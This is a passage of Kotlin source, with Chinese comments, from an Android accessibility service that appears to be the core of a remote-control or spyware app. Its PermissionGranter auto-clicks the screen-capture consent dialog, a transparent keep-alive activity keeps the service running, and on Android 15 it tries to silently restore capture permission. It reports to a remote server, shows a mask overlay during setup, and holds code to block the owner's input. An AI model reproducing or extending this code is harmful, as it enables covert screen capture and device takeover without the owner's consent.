                        checkableNodes.forEach { it.recycle() }
                        foundOurApp = true
                    }
                }

                if (!foundOurApp) {
                    Log.w(TAG, "🚫 补充检查也未找到相关标识，但为了提高成功率，仍然允许操作")
                    // ✅ 为了提高成功率，即使没有找到明确标识也允许操作
                    foundOurApp = true
                }
            } else {
                // ✅ 在已知权限页面中找到了应用标识，直接允许
                Log.i(TAG, "✅ 在已知权限页面中确认了应用标识")
            }

            Log.i(TAG, "🔍 应用权限页面检查结果: $foundOurApp (包名: $packageName)")
            return foundOurApp

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查应用权限页面失败", e)
            return false
        }
    }

    /**
     * ✅ 检查是否是保活场景
     */
    private fun isKeepAliveScenario(): Boolean {
        return try {
            // 检查透明保活Activity是否运行
            val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance()
            if (transparentActivity != null) {
                Log.d(TAG, "🫥 检测到透明保活Activity运行，判断为保活场景")
                return true
            }
            
            // 检查是否是保活服务触发的（可以通过检查调用栈或其他方式判断）
            // 这里简化处理，主要依赖透明Activity检测
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查保活场景失败", e)
            false
        }
    }
    
    /**
     * 启动MainActivity申请权限 - 增加权限预检查和智能返回应用
     */
    private fun startMainActivityForPermission() {
        try {
            val currentTime = System.currentTimeMillis()

            // ✅ 检查冷却时间，防止频繁启动
            val timeSinceLastRequest = currentTime - lastPermissionRequestTime
            if (timeSinceLastRequest < permissionRequestCooldown) {
                Log.w(
                    TAG,
                    "🕒 权限申请冷却中(${timeSinceLastRequest}ms < ${permissionRequestCooldown}ms)，跳过此次申请"
                )
                return
            }

            // ✅ 启动MainActivity前再次检查权限，防止重复申请
            val permissionData = MediaProjectionHolder.getPermissionData()
            if (permissionData != null) {
                Log.i(TAG, "📱 启动MainActivity前检查发现权限已存在，取消启动")

                // Android 15设备特殊处理（防重复）
                if (Build.VERSION.SDK_INT >= 35 && !android15PermissionStableNotified) {
                    Log.i(TAG, "🛡️ Android 15设备权限已存在，发送权限稳定广播")
                    android15PermissionStableNotified = true
                    val stableIntent = Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                    sendBroadcast(stableIntent)
                }

                // 重置申请状态
                permissionRequestInProgress = false
                // 注意：不要在这里设置allPermissionsCompleted，还需要完成其他初始化

                // 继续服务初始化，跳过悬浮窗权限处理
                serviceScope.launch {
                    continueServiceInitialization()
                }
                return
            }

            // ✅ 更新权限申请时间
            lastPermissionRequestTime = currentTime

            // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
            if (isKeepAliveScenario()) {
                Log.i(TAG, "💡 保活场景下检测到权限不存在，不启动MainActivity（避免保活程序拉起）")
                Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
                // 保活场景下不启动MainActivity，只记录日志
                // 可以在这里发送通知，但不自动启动MainActivity
                return
            }

            // ✅ 在启动MainActivity前先确保回到应用页面
            serviceScope.launch {
                Log.i(TAG, "🏠 权限申请前先确保回到应用页面")
                val returnSuccess = smartReturnToApp()
                if (!returnSuccess) {
                    Log.w(TAG, "⚠️ 无法返回到应用页面，但继续权限申请流程")
                } else {
                    Log.i(TAG, "✅ 成功回到应用页面，继续权限申请流程")
                }

                // 短暂延迟确保应用页面稳定
                delay(500)

                Log.i(TAG, "🚀 权限不存在，启动MainActivity申请权限")
                val intent = Intent(
                    this@AccessibilityRemoteService,
                    com.hikoncont.MainActivity::class.java
                ).apply {
                    // ✅ 修改启动标志，避免影响ConfigMaskActivity
                    // 使用单独的NEW_TASK，避免清除其他Activity
                    addFlags(
                        Intent.FLAG_ACTIVITY_NEW_TASK or
                                Intent.FLAG_ACTIVITY_SINGLE_TOP
                    )
                    putExtra("AUTO_REQUEST_PERMISSION", true)

                    // ✅ 添加额外标识，确保Intent不会丢失
                    putExtra("TIMESTAMP", System.currentTimeMillis())
                    putExtra("SOURCE", "AccessibilityRemoteService")
                }

                try {
                    startActivity(intent)
                    Log.i(TAG, "✅ 已启动MainActivity申请权限 - Intent标志: NEW_TASK|SINGLE_TOP")
                    Log.i(
                        TAG,
                        "📊 Intent参数详情: AUTO_REQUEST_PERMISSION=true, TIMESTAMP=${System.currentTimeMillis()}"
                    )

                    // ✅ 立即发送备用广播，确保MainActivity能收到权限申请请求
                    Log.i(TAG, "🔄 同时发送备用广播确保权限申请能被处理")
                    val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE")
                    backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true)
                    backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis())
                    backupIntent.putExtra("SOURCE", "AccessibilityRemoteService_Backup")
                    sendBroadcast(backupIntent)

                    // ✅ 验证Intent启动是否成功
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        Log.i(TAG, "🔍 3秒后验证MainActivity是否正确启动并接收Intent")
                    }, 3000)

                } catch (e: Exception) {
                    Log.e(TAG, "❌ 启动MainActivity时发生异常", e)

                    // ✅ 如果直接启动失败，尝试备用方案
                    Log.w(TAG, "⚠️ 直接启动失败，使用备用广播方案")
                    val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE")
                    backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true)
                    backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis())
                    backupIntent.putExtra("SOURCE", "AccessibilityRemoteService_Exception")
                    sendBroadcast(backupIntent)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动MainActivity失败", e)
        }
    }

    /**
     * 注册权限申请广播接收器
     */
    private fun registerPermissionRequestReceiver() {
        try {
            val filter = IntentFilter().apply {
                addAction("android.mycustrecev.PERMISSION_REQUEST")
                addAction("android.mycustrecev.MEDIA_PROJECTION_GRANTED")
                addAction("android.mycustrecev.MANUAL_ACTION_REQUIRED")
                addAction("android.mycustrecev.PERMISSION_GRANTED")  // 新增：权限获取成功广播
                addAction("android.mycustrecev.REACTIVATE_PERMISSION_GRANTER") // Android 15权限恢复
                addAction("android.mycustrecev.ANDROID15_SECONDARY_CONFIRMATION") // Android 15二次确认
                addAction("android.mycustrecev.WRITE_SETTINGS_PERMISSION_GRANTED") // WRITE_SETTINGS权限结果
                addAction("android.mycustrecev.WRITE_SETTINGS_PERMISSION_GRANTED") // 密码框
                // ✅ 参考 f 目录：已移除重启无障碍服务广播监听
                addAction("android.mycustrecev.START_ACCESSIBILITY_SERVICE") // 无障碍服务启动
                addAction("android.mycustrecev.ENABLE_LOGGING") // 启用日志记录
            }
            registerReceiver(permissionRequestReceiver, filter)
            Log.i(TAG, "已注册权限申请广播接收器")
        } catch (e: Exception) {
            Log.e(TAG, "注册广播接收器失败", e)
        }
    }

    /**
     * 注销权限申请广播接收器
     */
    private fun unregisterPermissionRequestReceiver() {
        try {
            unregisterReceiver(permissionRequestReceiver)
            Log.i(TAG, "已注销权限申请广播接收器")
        } catch (e: Exception) {
            Log.e(TAG, "注销广播接收器失败", e)
        }
    }

    /**
     * 权限申请广播接收器
     */
    private val permissionRequestReceiver = object : BroadcastReceiver() {
        override fun onReceive(context: Context?, intent: Intent?) {
            try {
                when (intent?.action) {
                    "android.mycustrecev.PERMISSION_REQUEST" -> {
                        val permissionType = intent.getStringExtra("permission_type")
                        val requesting = intent.getBooleanExtra("requesting", false)

                        Log.i(TAG, "收到权限申请广播: $permissionType, requesting: $requesting")

                        if (permissionType == "media_projection" && requesting) {
                            // ✅ 检查权限是否已经获取，避免重复申请
                            if (::permissionGranter.isInitialized) {
                                // ✅ 优先检查系统权限状态，避免依赖存储状态
                                val permissionData =
                                    com.hikoncont.MediaProjectionHolder.getPermissionData()
                                if (permissionData != null) {
                                    Log.i(TAG, "📱 MediaProjection权限数据已存储，跳过重复申请")

                                    // Android 15设备特殊处理
                                    if (Build.VERSION.SDK_INT >= 35) {
                                        Log.i(TAG, "🛡️ Android 15设备权限已存在，执行智能处理")

                                        // 检查MediaProjection对象是否也存在
                                        val hasMediaProjection =
                                            MediaProjectionHolder.getMediaProjection() != null
                                        if (!hasMediaProjection) {
                                            Log.i(
                                                TAG,
                                                "🔧 Android 15权限数据存在但MediaProjection对象为null，尝试恢复"
                                            )
                                            if (attemptAndroid15SilentRecovery()) {
                                                Log.i(TAG, "✅ Android 15静默恢复成功")
                                            } else {
                                                Log.w(
                                                    TAG,
                                                    "❌ Android 15静默恢复失败，权限可能已过期"
                                                )
                                                // 清理过期权限数据，允许重新申请
                                                MediaProjectionHolder.clearPermissionData()
                                                permissionGranter.setMediaProjectionRequesting(true)
                                                Log.i(TAG, "🔄 已清理过期权限数据，允许重新申请")
                                                return
                                            }
                                        }

                                        // 发送Android 15权限稳定广播（防重复）
                                        if (!android15PermissionStableNotified) {
                                            android15PermissionStableNotified = true
                                            val stableIntent =
                                                Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                                            sendBroadcast(stableIntent)
                                        }
                                    }

                                    // 重置权限申请状态
                                    permissionGranter.setMediaProjectionRequesting(false)

                                    // 立即发送停止广播
                                    val stopIntent =
                                        Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
                                    sendBroadcast(stopIntent)
                                    Log.i(TAG, "📡 权限已存在，发送停止Activity创建广播")

                                    // 如果权限已获取但服务初始化未完成，则继续初始化 - ✅ Phase 4.1 Step 3: 使用NetworkManager
                                    if (!isNetworkConnected()) {
                                        serviceScope.launch {
                                            Log.i(TAG, "🔄 权限已存在，继续服务初始化")
                                            // 直接连接服务器，跳过悬浮窗权限处理
                                            continueServiceInitialization()
                                        }
                                    }
                                    return
                                }

                                // ✅ Android 11+：不再跳过 MediaProjection 权限申请，允许 PermissionGranter 自动点击确认
                                permissionGranter.setMediaProjectionRequesting(true)
                                Log.i(TAG, "📱 Android 11+设备：已设置MediaProjection请求标志位，PermissionGranter将自动点击确认")
                            }
                        }
                    }

                    "android.mycustrecev.MEDIA_PROJECTION_GRANTED" -> {
                        val success = intent.getBooleanExtra("success", false)
                        val permissionRecovery =
                            intent.getBooleanExtra("permission_recovery", false)
                        val refreshRequest =
                            intent.getBooleanExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", false)
                        Log.i(
                            TAG,
                            "收到MediaProjection权限结果广播: success=$success, permissionRecovery=$permissionRecovery, refreshRequest=$refreshRequest"
                        )

                        // 🆕 如果是来自Web端的权限刷新请求，发送响应到服务端
                        if (refreshRequest && ::networkManager.isInitialized) {
                            val socketIOManager = networkManager.getSocketIOManager()
                            if (socketIOManager != null) {
                                val message =
                                    if (success) "投屏权限重新申请成功" else "投屏权限重新申请失败"
                                socketIOManager.sendPermissionResponse(
                                    "media_projection",
                                    success,
                                    message
                                )
                                Log.i(TAG, "📡 已发送权限申请响应到服务端: success=$success")
                            }
                        }

                        if (success) {
                            // ✅ Android 15设备使用优化的权限完成处理
                            if (::permissionGranter.isInitialized) {
                                if (Build.VERSION.SDK_INT >= 35) {
                                    // Android 15使用新的权限完成处理逻辑
                                    Log.i(TAG, "🔧 Android 15设备使用优化权限完成处理")
                                    serviceScope.launch {
                                        try {
                                            // 调用PermissionGranter的优化处理方法
                                            val handleMethod =
                                                permissionGranter.javaClass.getDeclaredMethod("handleAndroid15PermissionComplete")
                                            handleMethod.isAccessible = true
                                            handleMethod.invoke(permissionGranter)
                                        } catch (e: Exception) {
                                            Log.e(
                                                TAG,
                                                "❌ 调用Android 15权限完成处理失败，使用默认处理",
                                                e
                                            )
                                            // 默认处理
                                            delay(10000) // 延迟10秒
                                            permissionGranter.setMediaProjectionRequesting(false)
                                            Log.i(
                                                TAG,
                                                "✅ Android 15 MediaProjection权限稳定，已重置PermissionGranter状态"
                                            )
                                        }
                                    }
                                } else {
                                    // 其他版本立即重置
                                    permissionGranter.setMediaProjectionRequesting(false)
                                    Log.i(
                                        TAG,
                                        "✅ MediaProjection权限成功：已重置PermissionGranter状态"
                                    )
                                }
                            }

                            if (permissionRecovery) {
                                // ✅ 权限恢复流程：立即重新启动屏幕捕获
                                Log.i(TAG, "🔧 开始权限恢复：重新启动屏幕捕获")
                                serviceScope.launch {
                                    try {
                                        // 等待MediaProjection权限生效
                                        delay(500)

                                        // 处理MediaProjection权限恢复
                                        handleMediaProjectionGranted()

                                        // 立即启动屏幕捕获（权限恢复时不需要等待设备重新注册）
                                        delay(1000)
                                        Log.i(TAG, "✅ 权限恢复完成，重新启动屏幕捕获")
                                        startScreenCapture()

                                    } catch (e: Exception) {
                                        Log.e(TAG, "❌ 权限恢复失败", e)
                                    }
                                }
                            } else {
                                // 正常初始化流程：先申请WRITE_SETTINGS权限，然后连接服务器
                                serviceScope.launch {
                                    delay(100) // 很短的延迟，立即响应
                                    Log.i(
                                        TAG,
                                        "🔧 MediaProjection权限成功，开始申请WRITE_SETTINGS权限"
                                    )

                                    if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                                        // 🔥 修改：启动授权模块（它会自动管理WRITE_SETTINGS权限申请）
                                        authorizationModule?.startAuthorization()
                                    }
                                }
                            }
                        } else {
                            Log.w(TAG, "MediaProjection权限获取失败，但仍继续建立服务器连接")
                            // ✅ 即使MediaProjection权限失败，也要启动服务器连接
                            // 用户可以通过Web界面看到设备状态，并手动重新配置权限
                            serviceScope.launch {
                                try {
                                    delay(1000)
                                    Log.i(TAG, "🌐 权限申请失败，但仍尝试连接服务器以显示设备状态")
                                    connectToServer()

                                    // 跳转回主界面显示状态
                                    smartReturnToApp()
                                } catch (e: Exception) {
                                    Log.e(TAG, "❌ 权限失败后连接服务器也失败", e)
                                }
                            }
                        }
                    }

                    "android.mycustrecev.PERMISSION_GRANTED" -> {
                        val permissionType = intent.getStringExtra("permission_type")
                        val granted = intent.getBooleanExtra("granted", false)
                        Log.i(TAG, "🎉 收到权限成功广播: $permissionType, granted: $granted")

                        if (permissionType == "media_projection" && granted) {
                            // ✅ 设置权限申请完成标志
                            permissionRequestInProgress = false
                            // 注意：不要在这里设置allPermissionsCompleted，还需要完成其他初始化

                            // ✅ 立即停止权限申请，防止MainActivity继续创建
                            if (::permissionGranter.isInitialized) {
                                // 🚨 Android 11+特殊处理：统一使用无障碍截图API，也需要重置状态
                                permissionGranter.setMediaProjectionRequesting(false)
                                Log.i(
                                    TAG,
                                    "🔄 权限成功：已重置PermissionGranter状态，停止MainActivity创建循环"
                                )
                            }

                            // ✅ 立即发送停止MainActivity创建的广播
                            val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
                            sendBroadcast(stopIntent)
                            Log.i(TAG, "📡 立即发送停止Activity创建广播")

                            // ✅ MediaProjection权限获取成功后，继续申请悬浮窗权限
                            serviceScope.launch {
                                delay(100) // 很短的延迟，立即响应
                                Log.i(TAG, "🎉 MediaProjection权限获取成功，直接连接服务器")
                                // 跳过悬浮窗权限处理，直接连接服务器
                                smartReturnToApp() // 使用智能返回方法
                                continueServiceInitialization()
                            }
                        }
                    }

                    "android.mycustrecev.MANUAL_ACTION_REQUIRED" -> {
                        val permissionType = intent.getStringExtra("permission_type")
                        val message = intent.getStringExtra("message")
                        Log.w(TAG, "🔔 收到手动操作通知: $permissionType - $message")

                        // ✅ 重置PermissionGranter的状态，停止自动点击
                        if (::permissionGranter.isInitialized) {
                            // 🚨 Android 11+特殊处理：统一使用无障碍截图API，也需要重置状态
                            permissionGranter.setMediaProjectionRequesting(false)
                            Log.i(TAG, "✅ 已重置PermissionGranter状态，停止自动点击")
                        }

                        // ✅ 建立服务器连接，确保设备仍然可见
                        serviceScope.launch {
                            try {
                                delay(2000)
                                Log.i(TAG, "🌐 手动操作通知后，确保服务器连接")
                                connectToServer()
                            } catch (e: Exception) {
                                Log.e(TAG, "❌ 手动操作通知后连接服务器失败", e)
                            }
                        }
                    }

                    "android.mycustrecev.REACTIVATE_PERMISSION_GRANTER" -> {
                        Log.i(TAG, "🛡️ 收到PermissionGranter重新激活请求")

                        if (::permissionGranter.isInitialized) {
                            // ✅ 重新激活前先检查权限状态，避免不必要的激活
                            val permissionData = MediaProjectionHolder.getPermissionData()
                            if (permissionData != null) {
                                Log.i(TAG, "📱 权限已存在，跳过PermissionGranter重新激活")

                                // Android 15设备发送权限稳定广播（防重复）
                                if (Build.VERSION.SDK_INT >= 35 && !android15PermissionStableNotified) {
                                    android15PermissionStableNotified = true
                                    val stableIntent =
                                        Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                                    sendBroadcast(stableIntent)
                                }

                                // 确保权限申请状态为false
                                permissionGranter.setMediaProjectionRequesting(false)
                            } else {
                                // 权限不存在时重新激活 PermissionGranter
                                permissionGranter.setMediaProjectionRequesting(true)
                                Log.i(TAG, "✅ PermissionGranter已重新激活，准备处理权限申请")
                            }
                        } else {
                            Log.w(TAG, "⚠️ PermissionGranter未初始化，无法重新激活")
                        }
                    }

                    "android.mycustrecev.ANDROID15_SECONDARY_CONFIRMATION" -> {
                        Log.i(TAG, "🔍 Android 15二次确认监听激活")

                        if (::permissionGranter.isInitialized && Build.VERSION.SDK_INT >= 35) {
                            // 🔧 Android 15智能权限管理：区分权限申请和权限保活
                            val hasPermission = MediaProjectionHolder.getPermissionData() != null
                            val hasMediaProjection =
                                MediaProjectionHolder.getMediaProjection() != null
                            val isScreenCapturing =
                                if (::screenCaptureManager.isInitialized) !screenCaptureManager.isPaused() else false

                            Log.i(
                                TAG,
                                "🔍 Android 15权限状态检查: 权限数据=$hasPermission, MediaProjection=$hasMediaProjection, 屏幕捕获中=$isScreenCapturing"
                            )

                            when {
                                // 🚨 权限真正丢失：需要重新申请
                                !hasPermission && !hasMediaProjection -> {
                                    Log.w(TAG, "❌ Android 15权限完全丢失，需要重新申请")
                                    permissionGranter.setMediaProjectionRequesting(true)
                                }
                                // 🚨 权限数据存在但MediaProjection丢失：运行时权限丢失，尝试静默恢复
                                hasPermission && !hasMediaProjection -> {
                                    Log.w(
                                        TAG,
                                        "⚠️ Android 15权限运行时丢失：有权限数据但MediaProjection为null，尝试静默恢复"
                                    )
                                    if (attemptAndroid15SilentRecovery()) {
                                        Log.i(TAG, "✅ Android 15静默恢复成功")
                                        permissionGranter.setMediaProjectionRequesting(false)
                                    } else {
                                        Log.w(TAG, "❌ Android 15静默恢复失败，需要重新申请")
                                        permissionGranter.setMediaProjectionRequesting(true)
                                    }
                                }
                                // ✅ 权限完全正常：进入保活模式，不需要重新申请
                                hasPermission && hasMediaProjection -> {
                                    Log.i(TAG, "✅ Android 15权限完全正常，进入保活模式")
                                    // 🎯 关键优化：权限正常时停止申请流程，但保持Spinner事件处理能力
                                    permissionGranter.setMediaProjectionRequesting(false)
                                    // 不需要延迟，直接停止申请流程，Spinner事件通过独立的保活处理机制处理
                                    Log.i(
                                        TAG,
                                        "🛡️ Android 15权限保活：停止申请流程，启用保活确认处理"
                                    )
                                }
                                // ⚠️ 边缘情况：无权限数据但有MediaProjection
                                else -> {
                                    Log.w(
                                        TAG,
                                        "⚠️ Android 15边缘情况：无权限数据但有MediaProjection，保持当前状态"
                                    )
                                    // 保持当前状态不变，让系统自行处理
                                }
                            }
                        }
                    }

                    "android.mycustrecev.WRITE_SETTINGS_PERMISSION_GRANTED" -> {
                        val success = intent.getBooleanExtra("success", false)
                        val reason = intent.getStringExtra("reason")
                        Log.i(
                            TAG,
                            "收到WRITE_SETTINGS权限结果广播: success=$success, reason=$reason"
                        )

                        if (success) {
                            Log.i(TAG, "✅ WRITE_SETTINGS权限申请成功，继续服务初始化")
                        } else {
                            Log.w(TAG, "⚠️ WRITE_SETTINGS权限申请失败: $reason，但继续服务初始化")
                        }

                        // 无论成功或失败，都继续后续的服务初始化流程
                        serviceScope.launch {
                            delay(100)
                            Log.i(TAG, "🔧 WRITE_SETTINGS权限处理完成，继续连接服务器")
                            continueServiceInitialization()
                        }
                    }

                    // ✅ 参考 f 目录：已移除重启无障碍服务广播处理，系统会自动管理无障碍服务生命周期

                    "android.mycustrecev.START_ACCESSIBILITY_SERVICE" -> {
                        Log.i(TAG, "🚀 收到无障碍服务启动广播")
                        handleAccessibilityServiceStart()
                    }
                    "android.mycustrecev.ENABLE_LOGGING" -> {
                        Log.i(TAG, "📝 收到启用日志记录广播")
                         enableLogging() // 暂停：服务启动流程中不自动开启日志
                        Log.i(TAG, "📝 安装完成后已启用日志记录")
                    }
                }
            } catch (e: Exception) {
                Log.e(TAG, "处理权限申请广播失败", e)
            }
        }
    }

    /**
     * 处理无障碍服务启动请求
     */
    private fun handleAccessibilityServiceStart() {
        try {
            Log.i(TAG, "🚀 开始处理无障碍服务启动请求")

            // 检查当前服务状态
            val currentInstance = AccessibilityRemoteService.getInstance()
            if (currentInstance == null) {
                Log.w(TAG, "⚠️ 无障碍服务实例不存在，重新创建")

                // 重新设置实例
                instance = this

                // 重新初始化服务
                serviceScope.launch {
                    try {
                        Log.i(TAG, "🔄 重新初始化无障碍服务")
                        initializeService()
                        Log.i(TAG, "✅ 无障碍服务重新初始化完成")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 无障碍服务重新初始化失败", e)
                    }
                }
            } else {
                Log.i(TAG, "✅ 无障碍服务实例已存在")

                // 检查服务是否正常运行
                if (isServiceRunning()) {
                    Log.i(TAG, "✅ 无障碍服务运行正常")
                } else {
                    Log.w(TAG, "⚠️ 无障碍服务实例存在但未正常运行，尝试重新初始化")
                    serviceScope.launch {
                        try {
                            initializeService()
                            Log.i(TAG, "✅ 无障碍服务重新初始化完成")
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 无障碍服务重新初始化失败", e)
                        }
                    }
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍服务启动失败", e)
        }
    }

    /**
     * ✅ 参考 f 目录：已移除处理无障碍服务重启请求的功能，系统会自动管理无障碍服务生命周期
     */
    private fun handleAccessibilityServiceRestart() {
        try {
            // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
            Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
            
            // 如果服务实例存在且运行正常，可以尝试重新连接服务器
            val currentInstance = AccessibilityRemoteService.getInstance()
            if (currentInstance != null && isServiceRunning()) {
                serviceScope.launch {
                    try {
                        reconnectToServer()
                        Log.i(TAG, "✅ 服务器重连完成")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 服务器重连失败", e)
                    }
                }
            } else {
                // ✅ 参考 f 目录：不重新创建服务，系统会自动管理
                Log.d(TAG, "📱 无障碍服务实例不存在，系统会自动管理无障碍服务生命周期")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍服务重启失败", e)
        }
    }

    /**
     * 检查服务是否正在运行
     */
    private fun isServiceRunning(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始检查无障碍服务运行状态")
            
            // 检查服务是否已初始化
            val isServiceInitialized = isInitialized
            Log.d(TAG, "🔍 服务初始化状态: $isServiceInitialized")
            
            // 检查关键组件是否已初始化
            val hasPermissionGranter = ::permissionGranter.isInitialized
            val hasScreenCaptureManager = ::screenCaptureManager.isInitialized
            val hasNetworkManager = ::networkManager.isInitialized
            
//            Log.d(TAG, "🔍 组件状态: permissionGranter=$hasPermissionGranter, screenCaptureManager=$hasScreenCaptureManager, networkManager=$hasNetworkManager")
            
            // 检查网络连接状态
            val hasSocketManager = if (hasNetworkManager) {
                try {
                    networkManager.getSocketIOManager() != null
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 检查SocketManager失败", e)
                    false
                }
            } else false
            
            Log.d(TAG, "🔍 SocketManager状态: $hasSocketManager")
            
            // 服务运行的基本条件：已初始化且关键组件可用
            val isRunning = isServiceInitialized && hasPermissionGranter && hasScreenCaptureManager
            
            Log.d(TAG, "🔍 最终服务运行状态: $isRunning")
            
            isRunning
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务运行状态失败", e)
            false
        }
    }

    /**
     * 连接到服务器 - ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    private suspend fun connectToServer() {
        if (::configProgressManager.isInitialized) {
            configProgressManager.updateProgress(ConfigProgressManager.ConfigStage.CONNECTING_NETWORK)
        }
        if (::networkManager.isInitialized) {
            networkManager.connectToServer()
        } else {
            Log.w(TAG, "⚠️ NetworkManager未初始化，无法连接服务器")
        }
    }

    /**
     * 重新连接到服务器（公开方法）- ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    fun reconnectToServer() {
        if (::networkManager.isInitialized) {
            networkManager.reconnectToServer()
        } else {
            Log.w(TAG, "⚠️ NetworkManager未初始化，无法重连服务器")
        }
    }

    /**
     * 检查并启动连接（优化版本）- ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    fun checkAndStartConnection() {
        if (::networkManager.isInitialized) {
            networkManager.checkAndStartConnection()
        } else {
            Log.w(TAG, "⚠️ NetworkManager未初始化，无法检查连接")
        }
    }

    /**
     * ✅ 新增：停止无障碍设置页面监控
     * 在配置完成后调用，停止不必要的监控
     */
    private fun stopAccessibilityPageMonitor() {
        try {
            if (accessibilityPageMonitor?.isActive == true) {
                Log.i(TAG, "🛑 配置完成，停止无障碍设置页面监控")
                accessibilityPageMonitor?.cancel()
                accessibilityPageMonitor = null

                // 重置相关状态
                accessibilityPageStuckCount = 0
                lastAccessibilityPageCheckTime = 0L

                Log.i(TAG, "✅ 无障碍设置页面监控已成功停止")
            } else {
                Log.d(TAG, "📋 无障碍设置页面监控未运行或已停止")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止无障碍设置页面监控失败", e)
        }
    }

    /**
     * 检查是否可以隐藏配置遮盖
     */
    fun checkAndHideConfigMask() {
        try {
            // ✅ 安装完成则不再进入配置遮盖逻辑
            val installationStateManager = InstallationStateManager.getInstance(this)
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            if (isInstallationComplete) {
                Log.d(TAG, "🔒 安装已完成，跳过配置遮盖检查")
                return
            }

            // ✅ 更严格的MediaProjection权限检查 - Android 11+特殊处理
            val permissionData = MediaProjectionHolder.getPermissionData()
            val mediaProjection = MediaProjectionHolder.getMediaProjection()
            val mediaProjectionReady = if (Build.VERSION.SDK_INT >= 30) {
                // 🚨 Android 11+特殊处理：使用无障碍截图API，权限始终就绪
                Log.d(TAG, "📱 Android 11+设备：使用无障碍截图API，MediaProjection权限标记为就绪")
                true
            } else {
                permissionData != null && mediaProjection != null
            }

            val serverConnected = isNetworkConnected()
            val deviceRegistered = isDeviceRegistered()

            // 🆕 添加WRITE_SETTINGS权限检查
            val writeSettingsPermissionReady = hasWriteSettingsPermission()

            // 🆕 添加AuthorizationModule状态检查
            val authorizationNotRunning = authorizationModule?.isAuthorizing() != true

            Log.i(TAG, "🔍 检查配置遮盖隐藏条件:")
            Log.i(
                TAG,
                "  📱 MediaProjection权限: permissionData=$permissionData, mediaProjection=$mediaProjection, ready=$mediaProjectionReady"
            )
            Log.i(TAG, "  🌐 服务器连接: $serverConnected")
            Log.i(TAG, "  ✅ 设备注册: $deviceRegistered")
            Log.i(TAG, "  🔧 WRITE_SETTINGS权限: $writeSettingsPermissionReady")
            Log.i(
                TAG,
                "  🔄 授权模块状态: 正在授权=${authorizationModule?.isAuthorizing()}, 可以隐藏=$authorizationNotRunning"
            )

            // ✅ 新增AuthorizationModule状态作为第五个核心条件
            if (mediaProjectionReady && serverConnected && deviceRegistered && writeSettingsPermissionReady && authorizationNotRunning) {
                Log.i(TAG, "✅ 所有条件满足，准备隐藏配置遮盖")

                // 🆕 在隐藏配置遮盖之前先启用阻止手机操作功能
                Log.i(TAG, "🔒 配置完成，启用阻止手机操作功能")
//                blockDeviceInput()  //先不隐藏

                // 🆕 同步状态到服务端
//                syncInputBlockedStateToServer(true)

                allPermissionsCompleted = true

                // ✅ 配置完成后停止无障碍设置页面监控
                stopAccessibilityPageMonitor()

//                if (::configMaskManager.isInitialized) {
//                    configMaskManager.hideConfigMask()
//                    Log.i(TAG, "✅ 配置遮盖已成功隐藏，阻止手机操作功能已启用")
//                }
                if (::configProgressManager.isInitialized) {
                    Log.i(TAG, "📊 ConfigProgressManager已初始化，调用completeConfiguration()")
                    configProgressManager.completeConfiguration()
                    android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                        configMaskManager.hideConfigMask()
                    },1000)
                    Log.i(TAG, "🎉 配置进度已标记为完成")
                } else {
                    Log.w(TAG, "⚠️ ConfigProgressManager未初始化，无法调用completeConfiguration()")
                }
            } else {
                Log.w(
                    TAG,
                    "⚠️ 条件未满足，保持配置遮盖显示 (MediaProjection=$mediaProjectionReady, Server=$serverConnected, Device=$deviceRegistered, WriteSettings=$writeSettingsPermissionReady)"
                )
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查配置遮盖隐藏条件失败", e)
        }
    }

    /**
     * 🆕 同步输入阻塞状态到服务端
     * 用于将设备的输入阻塞状态同步到服务端，供Web端状态显示和管理
     */
    private fun syncInputBlockedStateToServer(blocked: Boolean) {
        try {
            val socketIOManager = getSocketIOManager()
            if (socketIOManager != null) {
                // 使用SocketIOManager的专用方法发送状态变更
                socketIOManager.sendDeviceInputBlockedChanged(
                    blocked = blocked,
                    fromConfigComplete = true, // 标记这是配置完成后的自动启用
                    autoEnabled = true // 标记这是自动启用的，区别于手动操作
                )
                Log.i(TAG, "📤 已同步输入阻塞状态到服务端: blocked=$blocked (配置完成后自动启用)")
            } else {
                Log.w(TAG, "⚠️ SocketIOManager不可用，无法同步输入阻塞状态到服务端")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 同步输入阻塞状态到服务端失败", e)
        }
    }

    /**
     * 🆕 强制隐藏配置遮盖（Web端手动操作）
     * 跳过检查条件，直接隐藏配置遮盖
     * @param isManualOperation 是否为手动操作
     */
    fun forceHideConfigMask(isManualOperation: Boolean = false) {
        try {
